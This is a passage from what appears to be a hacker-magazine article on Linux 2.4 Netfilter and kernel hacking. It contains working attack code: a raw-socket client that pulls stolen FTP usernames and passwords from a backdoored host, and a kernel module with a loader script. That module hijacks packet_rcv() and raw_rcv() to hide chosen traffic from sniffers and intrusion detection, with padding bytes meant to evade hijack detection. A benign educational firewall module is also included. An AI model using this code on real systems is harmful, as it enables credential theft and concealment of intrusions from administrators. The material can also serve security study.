#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#ifndef __USE_BSD
# define __USE_BSD /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);
int main(int argc, char *argv[])
{
unsigned char dgram[256]; /* Plenty for a PING datagram */
unsigned char recvbuff[256];
struct ip *iphead = (struct ip *)dgram;
struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
struct sockaddr_in src;
struct sockaddr_in addr;
struct in_addr my_addr;
struct in_addr serv_addr;
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = 0;
int one = 1;
int *ptr_one = &one;
if (argc < 3) {
fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]);
exit(1);
}
/* Get a socket */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %s\n",
strerror(errno));
exit(1);
}
/* set the HDR_INCL option on the socket */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
strerror(errno));
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);
my_addr.s_addr = inet_addr(argv[2]);
memset(dgram, 0x00, 256);
memset(recvbuff, 0x00, 256);
/* Fill in the IP fields first */
iphead->ip_hl = 5;
iphead->ip_v = 4;
iphead->ip_tos = 0;
iphead->ip_len = 84;
iphead->ip_id = (unsigned short)rand();
iphead->ip_off = 0;
iphead->ip_ttl = 128;
iphead->ip_p = IPPROTO_ICMP;
iphead->ip_sum = 0;
iphead->ip_src = my_addr;
iphead->ip_dst = addr.sin_addr;
/* Now fill in the ICMP fields */
icmphead->icmp_type = ICMP_ECHO;
icmphead->icmp_code = 0x5B;
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
/* Finally, send the packet */
fprintf(stdout, "Sending request...\n");
if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "\nFailed sending request! %s\n",
strerror(errno));
return 0;
}
fprintf(stdout, "Waiting for reply...\n");
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
&src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %s\n",
strerror(errno));
close(icmp_sock);
exit(1);
}
iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
memcpy(&serv_addr, ((char *)icmphead + 8),
sizeof (struct in_addr));
fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
fprintf(stdout, "Username: %s\n",
(char *)((char *)icmphead + 12));
fprintf(stdout, "Password: %s\n",
(char *)((char *)icmphead + 28));
close(icmp_sock);
return 0;
}
/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum;
for(sum = 0;numwords > 0;numwords--)
sum += *buff++; /* add next word, then increment pointer */
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
return ~sum;
}
<-->
--[ 6 - Hiding network traffic from Libpcap
This section will briefly describe how the Linux 2.4 kernel
can be hacked to make network traffic that matches predefined
conditions invisible to packet sniffing software running on
the local machine. Presented at the end of this article is
working code that will do such a thing for all IPv4 traffic
coming from or going to a particular IP address. So let's
get started shall we...
----[ 6.1 - SOCK_PACKET, SOCK_RAW and Libpcap
Some of the most useful software for a system administrator
is that which can be classified under the broad title of
"packet sniffer". Two of the most common examples of general
purpose packet sniffers are tcpdump(1) and Ethereal(1). Both
of these applications utilise the Libpcap library (available
from [1] along with tcpdump) to capture raw packets. Network
Intrusion Detection Systems (NIDS) also make use of the
Libpcap library. SNORT requires Libpcap, as does Libnids, a
NIDS writing library that provides IP reassembly and TCP
stream following and is available from [2].
On Linux systems, the Libpcap library uses the SOCK_PACKET
interface. Packet sockets are special sockets that can be
used to send and receive raw packets at the link layer. There
is a lot that can be said about packet sockets and their use.
However, because this section is about hiding from them and
not using them, the interested reader is directed to the
packet(7) man page. For the discussion here, it is only
neccessary to understand that packet sockets are what Libpcap
applications use to get the information on raw packets coming
into or going out of the machine.
When a packet is received by the kernel's network stack, a
check is performed to see if there are any packet sockets
that would be interested in this packet. If there are then
the packet is delivered to those interested sockets. If not,
the packet simply continues on it's way to the TCP, UDP or
other socket type that it's truly bound for. The same thing
happens for sockets of type SOCK_RAW. Raw sockets are very
similar to packet sockets, except they do not provide link
layer headers. An example of a utility that utilises raw
IP sockets is my SYNalert utility, available at [3] (sorry
about the shameless plug there :).
So now you should see that packet sniffing software on
Linux uses the Libpcap library. Libpcap utilises the packet
socket interface to obtain raw packets with link layers on
Linux systems. Raw sockets were also mentioned which act as
a way for user space applications to obtain packets complete
with IP headers. The next section will discuss how an LKM
can be used to hide network traffic from these packet and raw
socket interfaces.
------[ 6.2 Wrapping the cloak around the dagger
When a packet is received and sent to a packet socket, the
packet_rcv() function is called. This function can be found
in net/packet/af_packet.c. packet_rcv() is responsible for
running the packet through any socket filters that may be
applied to the destination socket and then the ultimate
delivery of the packet to user space. To hide packets from
a packet socket we need to prevent packet_rcv() from being
called at all for certain packets. How do we do this? With
good ol'-fashioned function hijacking of course.
The basic operation of function hijacking is that if we
know the address of a kernel function, even one that's not
exported, we can redirect that function to another location
before we allow the real code to run. To do this we first
save so many of the original instruction bytes from the
beginning of the function and replace them with instruction
bytes that perform an absolute jump to our own code. Example
i386 assembler to do this is given here:
movl (address of our function), %eax
jmp *eax
The generated hex bytes of these instructions (substituting
zero as our function address) are:
0xb8 0x00 0x00 0x00 0x00
0xff 0xe0
If in the initialisation of an LKM we change the function
address of zero in the code above to that of our hook
function, we can make our hook function run first. When (if)
we want to run the original function we simply restore the
original bytes at the beginning, call the function and then
replace our hijacking code. Simple, but powerful. Silvio
Cesare has written a document a while ago detailing kernel
function hijacking. See [4] in the references.
Now to hide packets from packet sockets we need to first
write the hook function that will check to see if a packet
matches our criteria to be hidden. If it does, then our hook
function simply returns zero to it's caller and packet_rcv()
never gets called. If packet_rcv() never gets called, then
the packet is never delivered to the user space packet
socket. Note that it is only the *packet* socket that this
packet will be dropped on. If we want to filter FTP packets
from being sent to packet sockets then the FTP server's TCP
socket will still see the packet. All that we've done is
made that packet invisible to any sniffer software that may
be running on the host. The FTP server will still be able to
process and log the connection.
In theory that's all there is too it. The same thing can
be done for raw sockets as well. The difference is that we
need to hook the raw_rcv() function (net/ipv4/raw.c). The
next section will present and discuss source code for an
example LKM that will hijack the packet_rcv() and raw_rcv()
functions and hide any packets going to or coming from an IP
address that we specify.
--[ 7 - Conclusion
Hopefully by now you have at least a basic understanding of what Netfilter
is, how to use it and what you can do with it. You should also have the
knowledge to hide special network traffic from sniffing software running on
the local machine.If you would like a tarball of the sources used for this
tutorial then just email me. I would also appreciate any corrections,
comments or suggestions. Now I leave it to you and your imagination to do
something interesting with what I have presented here.
--[ A - Light-Weight Fire Wall
----[ A.1 - Overview
The Light-Weight Fire Wall (LWFW) is a simple kernel module that
demonstrates the basic packet filtering techniques that were presented
in section 4.LWFW also provides a control interface through the ioctl()
system call.
Because the LWFW source is sufficiently documented I will only provide
a brief overview of how it works. When the LWFW module is installed
its first task is to try and register the control device. Note that
before the ioctl() interface to LWFW can be used, a character device file
needs to be made in /dev. If the control device registration succeeds the
"in use" marker is cleared and the hook function for NF_IP_PRE_ROUTE is
registered. The clean-up function simply does the reverse of this process.
LWFW provides three basic options for dropping packets. These are, in the
order of processing:
-- Source interface
-- Source IP address
-- Destination TCP port
The specifics of these rules are set with the ioctl() interface.
When a packet is received LWFW will check it against all the rules which
have been set. If it matches any of the rules then the hook function will
return NF_DROP and Netfilter will silently drop the packet. Otherwise
the hook function will return NF_ACCEPT and the packet will continue
on its way.
The last thing worth mentioning is LWFW's statistics logging. Whenever a
packet comes into the hook function and LWFW is active the total
number of packets seen is incremented. The individual rules checking
functions are responsible for incrementing their respective count of
dropped packets. Note that when a rule's value is changed its count of
dropped packets is reset to zero. The lwfwstats program utilises the
LWFW_GET_STATS IOCTL to get a copy of the statistics structure and
display it's contents.
----[ A.2 - The source... lwfw.c
<++> lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
* Netfilter for 2.4. Designed for educational purposes.
*
* Written by bioforge - March 2003.
*/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/net.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <asm/errno.h>
#include <asm/uaccess.h>
#include "lwfw.h"
/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);
/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);
/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
* can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;
/* This flag marks whether LWFW should actually attempt rule checking.
* If this is zero then LWFW automatically allows all packets. */
static int active = 0;
/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
| LWFW_IP_DENY_ACTIVE
| LWFW_PORT_DENY_ACTIVE);
static int major = 0; /* Control device major number */
/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;
/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};
/* Actual rule 'definitions'. */
/* TODO: One day LWFW might actually support many simultaneous rules.
* Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL; /* Interface to deny */
static unsigned int deny_ip = 0x00000000; /* IP address to deny */
static unsigned short deny_port = 0x0000; /* TCP port to deny */
/*
* This is the interface device's file_operations structure
*/
struct file_operations lwfw_fops = {
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
lwfw_ioctl,
NULL,
lwfw_open,
NULL,
lwfw_release,
NULL /* Will be NULL'ed from here... */
};
MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");
/*
* This is the function that will be called by the hook
*/
unsigned int lwfw_hookfn(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
unsigned int ret = NF_ACCEPT;
/* If LWFW is not currently active, immediately return ACCEPT */
if (!active)
return NF_ACCEPT;
lwfw_statistics.total_seen++;
/* Check the interface rule first */
if (deny_if && DENY_IF_ACTIVE) {
if (strcmp(in->name, deny_if) == 0) { /* Deny this interface */
lwfw_statistics.if_dropped++;
lwfw_statistics.total_dropped++;
return NF_DROP;
}
}
/* Check the IP address rule */
if (deny_ip && DENY_IP_ACTIVE) {
ret = check_ip_packet(*skb);
if (ret != NF_ACCEPT) return ret;
}
/* Finally, check the TCP port rule */
if (deny_port && DENY_PORT_ACTIVE) {
ret = check_tcp_packet(*skb);
if (ret != NF_ACCEPT) return ret;
}
return NF_ACCEPT; /* We are happy to keep the packet */
}
/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
NULL_CHECK(statbuff);
copy_to_user(statbuff, &lwfw_statistics,
sizeof(struct lwfw_stats));
return 0;
}
/* Function that compares a received TCP packet's destination port
* with the port specified in the Port Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
/* Seperately defined pointers to header structures are used
* to access the TCP fields because it seems that the so-called
* transport header from skb is the same as its network header TCP packets.
* If you don't believe me then print the addresses of skb->nh.iph
* and skb->h.th.
* It would have been nicer if the network header only was IP and
* the transport header was TCP but what can you do? */
struct tcphdr *thead;
/* We don't want any NULL pointers in the chain to the TCP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;
/* Be sure this is a TCP packet first */
if (skb->nh.iph->protocol != IPPROTO_TCP) {
return NF_ACCEPT;
}
thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
/* Now check the destination port */
if ((thead->dest) == deny_port) {
/* Update statistics */
lwfw_statistics.total_dropped++;
lwfw_statistics.tcp_dropped++;
return NF_DROP;
}
return NF_ACCEPT;
}
/* Function that compares a received IPv4 packet's source address
* with the address specified in the IP Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
/* We don't want any NULL pointers in the chain to the IP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;
if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
lwfw_statistics.ip_dropped++; /* Update the statistics */
lwfw_statistics.total_dropped++;
return NF_DROP;
}
return NF_ACCEPT;
}
static int set_if_rule(char *name)
{
int ret = 0;
char *if_dup; /* Duplicate interface */
/* Make sure the name is non-null */
NULL_CHECK(name);
/* Free any previously saved interface name */
if (deny_if) {
kfree(deny_if);
deny_if = NULL;
}
if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
== NULL) {
ret = -ENOMEM;
} else {
memset(if_dup, 0x00, strlen((char *)name) + 1);
memcpy(if_dup, (char *)name, strlen((char *)name));
}
deny_if = if_dup;
lwfw_statistics.if_dropped = 0; /* Reset drop count for IF rule */
printk("LWFW: Set to deny from interface: %s\n", deny_if);
return ret;
}
static int set_ip_rule(unsigned int ip)
{
deny_ip = ip;
lwfw_statistics.ip_dropped = 0; /* Reset drop count for IP rule */
printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
(ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
return 0;
}
static int set_port_rule(unsigned short port)
{
deny_port = port;
lwfw_statistics.tcp_dropped = 0; /* Reset drop count for TCP rule */
printk("LWFW: Set to deny for TCP port: %d\n",
((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));
return 0;
}
/*********************************************/
/*
* File operations functions for control device
*/
static int lwfw_ioctl(struct inode *inode, struct file *file,
unsigned int cmd, unsigned long arg)
{
int ret = 0;
switch (cmd) {
case LWFW_GET_VERS:
return LWFW_VERS;
case LWFW_ACTIVATE: {
active = 1;
printk("LWFW: Activated.\n");
if (!deny_if && !deny_ip && !deny_port) {
printk("LWFW: No deny options set.\n");
}
break;
}
case LWFW_DEACTIVATE: {
active ^= active;
printk("LWFW: Deactivated.\n");
break;
}
case LWFW_GET_STATS: {
ret = copy_stats((struct lwfw_stats *)arg);
break;
}
case LWFW_DENY_IF: {
ret = set_if_rule((char *)arg);
break;
}
case LWFW_DENY_IP: {
ret = set_ip_rule((unsigned int)arg);
break;
}
case LWFW_DENY_PORT: {
ret = set_port_rule((unsigned short)arg);
break;
}
default:
ret = -EBADRQC;
};
return ret;
}
/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
if (lwfw_ctrl_in_use) {
return -EBUSY;
} else {
MOD_INC_USE_COUNT;
lwfw_ctrl_in_use++;
return 0;
}
return 0;
}
/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
MOD_DEC_USE_COUNT;
return 0;
}
/*********************************************/
/*
* Module initialisation and cleanup follow...
*/
int init_module()
{
/* Register the control device, /dev/lwfw */
SET_MODULE_OWNER(&lwfw_fops);
/* Attempt to register the LWFW control device */
if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
&lwfw_fops)) < 0) {
printk("LWFW: Failed registering control device!\n");
printk("LWFW: Module installation aborted.\n");
return major;
}
/* Make sure the usage marker for the control device is cleared */
lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
printk("\nLWFW: Control device successfully registered.\n");
/* Now register the network hooks */
nfkiller.hook = lwfw_hookfn;
nfkiller.hooknum = NF_IP_PRE_ROUTING; /* First stage hook */
nfkiller.pf = PF_INET; /* IPV4 protocol hook */
nfkiller.priority = NF_IP_PRI_FIRST; /* Hook to come first */
/* And register... */
nf_register_hook(&nfkiller);
printk("LWFW: Network hooks successfully installed.\n");
printk("LWFW: Module installation successful.\n");
return 0;
}
void cleanup_module()
{
int ret;
/* Remove IPV4 hook */
nf_unregister_hook(&nfkiller);
/* Now unregister control device */
if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
printk("LWFW: Removal of module failed!\n");
}
/* If anything was allocated for the deny rules, free it here */
if (deny_if)
kfree(deny_if);
printk("LWFW: Removal of module successful.\n");
}
<-->
<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
*
* A very simple Netfilter module that drops backets based on either
* their incoming interface or source IP address.
*
* Written by bioforge - March 2003
*/
#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__
/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
* Userspace code has no business knowing about it. */
# define LWFW_NAME "lwfw"
/* Version of LWFW */
# define LWFW_VERS 0x0001 /* 0.1 */
/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
* print anything with printk(). This is included for debugging purposes.
*/
#define LWFW_TALKATIVE
/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET 0xFEED0000 /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS 0xFEED0001 /* Get the version of LWFM */
#define LWFW_ACTIVATE 0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS 0xFEED0004
#define LWFW_DENY_IF 0xFEED0005
#define LWFW_DENY_IP 0xFEED0006
#define LWFW_DENY_PORT 0xFEED0007
/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE 0x00000001
#define LWFW_IP_DENY_ACTIVE 0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004
/* Statistics structure for LWFW.
* Note that whenever a rule's condition is changed the related
* xxx_dropped field is reset.
*/
struct lwfw_stats {
unsigned int if_dropped; /* Packets dropped by interface rule */
unsigned int ip_dropped; /* Packets dropped by IP addr. rule */
unsigned int tcp_dropped; /* Packets dropped by TCP port rule */
unsigned long total_dropped; /* Total packets dropped */
unsigned long total_seen; /* Total packets seen by filter */
};
/*
* From here on is used solely for the actual kernel module
*/
#ifdef __KERNEL__
# define LWFW_MAJOR 241 /* This exists in the experimental range */
/* This macro is used to prevent dereferencing of NULL pointers. If
* a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr) \
if ((ptr) == NULL) return -EINVAL
/* Macros for accessing options */
#define DENY_IF_ACTIVE (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE (lwfw_options & LWFW_PORT_DENY_ACTIVE)
#endif /* __KERNEL__ */
#endif
<-->
<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o
.c.o:
$(CC) -c $< -o $@ $(CFLAGS)
all: $(OBJS)
clean:
rm -rf *.o
rm -rf ./*~
<-->
--[ B - Code for section 6
Presented here is a simple module that will hijack the
packet_rcv() and raw_rcv() functions to hide any packets to
or from the IP address we specify. The default IP address
is set to 127.0.0.1, but this can be changed by changing the
value of the #define IP. Also presented is a bash script
that will get the addresses for the required functions from a
System.map file and run insmod with these addresses as
parameters in the required format. This loader script was
written by grem. Originally for my Mod-off project, it was
easily modified to suit the module presented here. Thanks
again grem.
The presented module is proof-of-concept code only and as
such, does not have anything in the way of module hiding. It
is also important to remember that although this module can
hide traffic from a sniffer running on the same host, a
sniffer on a different host, but on the same LAN segment will
still see the packets. From what is presented in the module,
smart readers should have everything they need to design
filtering functions to block any kind of packets they need. I
have successfully used the technique presented in this text
to hide control and information retrieval packets used by my
other LKM projects.
<++> pcaphide/pcap_block.c
/* Kernel hack that will hijack the packet_rcv() function
* which is used to pass packets to Libpcap applications
* that use PACKET sockets. Also hijacks the raw_rcv()
* function. This is used to pass packets to applications
* that open RAW sockets.
*
* Written by bioforge - 30th June, 2003
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/smp_lock.h>
#include <linux/ip.h> /* For struct ip */
#include <linux/if_ether.h> /* For ETH_P_IP */
#include <asm/page.h> /* For PAGE_OFFSET */
/*
* IP address to hide 127.0.0.1 in NBO for Intel */
#define IP htonl(0x7F000001)
/* Function pointer for original packet_rcv() */
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt);
MODULE_PARM(pr, "i"); /* Retrieved as insmod parameter */
/* Function pointer for original raw_rcv() */
static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");
/* Spinlock used for the parts where we un/hijack packet_rcv() */
static spinlock_t hijack_lock = SPIN_LOCK_UNLOCKED;
/* Helper macros for use with the Hijack spinlock */
#define HIJACK_LOCK spin_lock_irqsave(&hijack_lock, \
sl_flags)
#define HIJACK_UNLOCK spin_unlock_irqrestore(&hijack_lock, \
sl_flags)
#define CODESIZE 10
/* Original and hijack code buffers.
* Note that the hijack code also provides 3 additional
* bytes ( inc eax; nop; dec eax ) to try and throw
* simple hijack detection techniques that just look for
* a move and a jump. */
/* For packet_rcv() */
static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
"\x40\x90\x48"
"\xff\xe0";
static unsigned char pr_orig[CODESIZE];
/* For raw_rcv() */
static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
"\x40\x90\x48"
"\xff\xe0";
static unsigned char rr_orig[CODESIZE];
/* Replacement for packet_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_pr(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt)
{
int sl_flags; /* Flags for spinlock */
int retval;
/* Check if this is an IP packet going to or coming from our
* hidden IP address. */
if (skb->protocol == htons(ETH_P_IP)) /* IP packet */
if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
return 0; /* Ignore this packet */
/* Call original */
HIJACK_LOCK;
memcpy((char *)pr, pr_orig, CODESIZE);
retval = pr(skb, dev, pt);
memcpy((char *)pr, pr_code, CODESIZE);
HIJACK_UNLOCK;
return retval;
}
/* Replacement for raw_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
int sl_flags; /* Flags for spinlock */
int retval;
/* Check if this is an IP packet going to or coming from our
* hidden IP address. */
if (skb->protocol == htons(ETH_P_IP)) /* IP packet */
if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
return 0; /* Ignore this packet */
/* Call original */
HIJACK_LOCK;
memcpy((char *)rr, rr_orig, CODESIZE);
retval = rr(sock, skb);
memcpy((char *)rr, rr_code, CODESIZE);
HIJACK_UNLOCK;
return retval;
}
int init_module()
{
int sl_flags; /* Flags for spinlock */
/* pr & rr set as module parameters. If zero or < PAGE_OFFSET
* (which we treat as the lower bound of kernel memory), then
* we will not install the hacks. */
if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
printk("Address for packet_rcv() not valid! (%08x)\n",
(int)pr);
return -1;
}
if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
printk("Address for raw_rcv() not valid! (%08x)\n",
(int)rr);
return -1;
}
*(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
*(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
HIJACK_LOCK;
memcpy(pr_orig, (char *)pr, CODESIZE);
memcpy((char *)pr, pr_code, CODESIZE);
memcpy(rr_orig, (char *)rr, CODESIZE);
memcpy((char *)rr, rr_code, CODESIZE);
HIJACK_UNLOCK;
EXPORT_NO_SYMBOLS;
return 0;
}
void cleanup_module()
{
int sl_flags;
lock_kernel();
HIJACK_LOCK;
memcpy((char *)pr, pr_orig, CODESIZE);
memcpy((char *)rr, rr_orig, CODESIZE);
HIJACK_UNLOCK;
unlock_kernel();
}
<-->
<++> pcaphide/loader.sh
#!/bin/sh
# Written by grem, 30th June 2003
# Hacked by bioforge, 30th June 2003
if [ "$1" = "" ]; then
echo "Use: $0 <System.map>";
exit;
fi
MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`
if [ "$PR" = "" ]; then
PR="00000000"
fi
if [ "$RR" = "" ]; then
RR="00000000"
fi
echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"
# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->
<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o
.c.o:
$(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)
all: $(OBJS)
clean:
rm -rf *.o
rm -rf ./*~
<-->
------[ References
This appendix contains a list of references used in writing this article.
[1] The tcpdump group
http://www.tcpdump.org
[2] The Packet Factory
http://www.packetfactory.net
[3] My network tools page -
http://uqconnect.net/~zzoklan/software/#net_tools
[4] Silvio Cesare's Kernel Function Hijacking article
http://vx.netlux.org/lib/vsc08.html
[5] Man pages for:
- raw (7)
- packet (7)
- tcpdump (1)
[6] Linux kernel source files. In particular:
- net/packet/af_packet.c (for packet_rcv())
- net/ipv4/raw.c (for raw_rcv())
- net/core/dev.c
- net/ipv4/netfilter/*
[7] Harald Welte's Journey of a packet through the Linux 2.4 network
stack
http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
[8] The Netfilter documentation page
http://www.netfilter.org/documentation
[9] Phrack 55 - File 12 -
http://www.phrack.org/show.php?p=55&a=12
[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
[B] Inside the Linux Packet Filter. A Linux Journal article
http://www.linuxjournal.com/article.php?sid=4852
|=[ EOF ]=---------------------------------------------------------------=|